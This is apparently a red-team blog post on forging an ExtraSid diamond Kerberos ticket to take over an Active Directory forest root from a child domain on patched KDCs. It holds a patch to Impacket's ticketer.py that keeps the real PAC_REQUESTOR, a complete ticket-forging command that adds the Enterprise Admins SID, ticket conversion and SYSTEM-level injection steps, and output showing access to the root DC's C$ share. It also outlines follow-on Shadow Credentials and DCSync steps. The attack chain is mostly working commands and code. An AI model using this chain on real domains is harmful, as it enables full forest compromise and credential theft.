ExtraSid Diamond Ticket: Patching Impacket for Fully Patched KDCs
So, you want to escalate from child domain krbtgt to forest root domain krbtgt or simply to forest root. You are in a hardened domain and you fight 2 things, a patched KDC and no RC4 intra-forest. Unfortunately, stock ticketer.py doesn't fix neither.
Full source, patched ticketer.py and inject.ps1, is on GitHub (patched ticketer.py using Claude): 0xCZR1/Diamond-Ticket---Impacket-fix.
The bug¶
On a patched KDC (KB5020009) the KDC checks the PAC_REQUESTOR in your TGT during the cross realm referral. Stock ticketer.py in diamond mode (-request) asks the KDC for a real TGT, then simply throws away the KDC issued PAC and builds a fresh one, I went over and over again the problem, until I understood what happens. I couldn't imagine why ticketer.py does this. The new PAC has no PAC_REQUESTOR, so the referral is rejected and the ticket is purged/destroyed.
You can see it in the ticketer output. It only builds these.
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
No PAC_REQUESTOR (type 18), no PAC_ATTRIBUTES (type 17).
Intra realm works because the child KDC re-signs the PAC with the krbtgt key you already hold, so your forgery is self consistent. Cross realm does not, because the root side validates PAC_REQUESTOR. This is not SID filtering. Error is 0x520 plus the TGT vanishing from klist.
The fix¶
Request a real TGT, decrypt it with the krbtgt key, maintain original PAC_REQUESTOR and PAC_ATTRIBUTES and then rebuild the rest of the PAC with desired ExtraSid. The patch adds _extractOriginalPacFields() and, after createBasicPac(), overwrites the fabricated entries with the real ones.
if self.__options.request is True and not self.__options.impersonate:
originalPacFields = self._extractOriginalPacFields(kdcRep)
if PAC_REQUESTOR_INFO in originalPacFields:
pacInfos[PAC_REQUESTOR_INFO] = originalPacFields[PAC_REQUESTOR_INFO]
if PAC_ATTRIBUTES_INFO in originalPacFields:
pacInfos[PAC_ATTRIBUTES_INFO] = originalPacFields[PAC_ATTRIBUTES_INFO]
The sapphire path (-impersonate) already preserved PAC_REQUESTOR from the S4U2Self PAC, but you can't use Sapphire in hardened domains against Tier-0 accounts.
Forge the ticket¶
ticketer.py -request -domain child.corp.local \
-domain-sid S-1-5-21-1111111111-1111111111-1111111111 \
-user 'SCCM-SITE01$' -hashes ':<MACHINE_NTHASH>' \
-nthash '<CHILD_KRBTGT_NTHASH>' \
-aesKey '<CHILD_KRBTGT_AES256>' \
-extra-sid S-1-5-21-2222222222-2222222222-2222222222-519 \
-dc-ip 10.10.10.2 \
'SCCM-SITE01$'
Three keys, do not mix them up.
-hashesis the machine account NT hash. It pre-auths you to the KDC.-nthashis the child krbtgt NT hash. It re-signs the PAC.-aesKeyis the child krbtgt AES256. It decrypts and re-encrypts the ticket.
Now the output keeps the real fields.
[*] Requesting TGT to target domain to use as basis
[*] Preserved original PAC_ATTRIBUTES from KDC
[*] Preserved original PAC_REQUESTOR from KDC
Inject and chase the referral¶
Convert to kirbi, drop it on a child joined box, and inject with LsaRegisterLogonProcess. That needs SYSTEM. LsaConnectUntrusted silently drops TGT submissions, so it must be LsaRegisterLogonProcess. Then let Windows follow the referral natively. The injector is inject.ps1 in the repo.
ticketConverter.py SCCM-SITE01\$.ccache diamond.kirbi
Result is a full AES-256 chain to the forest root, no RC4 anywhere.
A ticket to cifs/ROOT-DC02.corp.local has been retrieved successfully.
#2> Client: SCCM-SITE01$ @ CHILD.CORP.LOCAL
Server: cifs/ROOT-DC02.corp.local @ CORP.LOCAL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Kdc Called: ROOT-DC02.corp.local
From here C$ on the root DC lists, and you have Enterprise Admin reach across the forest.
After this I escalated to forest root via ldap ticket and wrote "manually" Shadow Credentials from the referral box.
Notes¶
- Intra realm golden tickets still work fine. This only bites on the cross realm referral.
0x520with the TGT disappearing fromklistmeansPAC_REQUESTORvalidation, not SID filtering. Do not waste time on the trust key.- The patched
ticketer.pyand the PowerShell injector are both in the repo. The full chain after this, shadow credential on the root DC then PKINIT then DCSync, is a separate write up.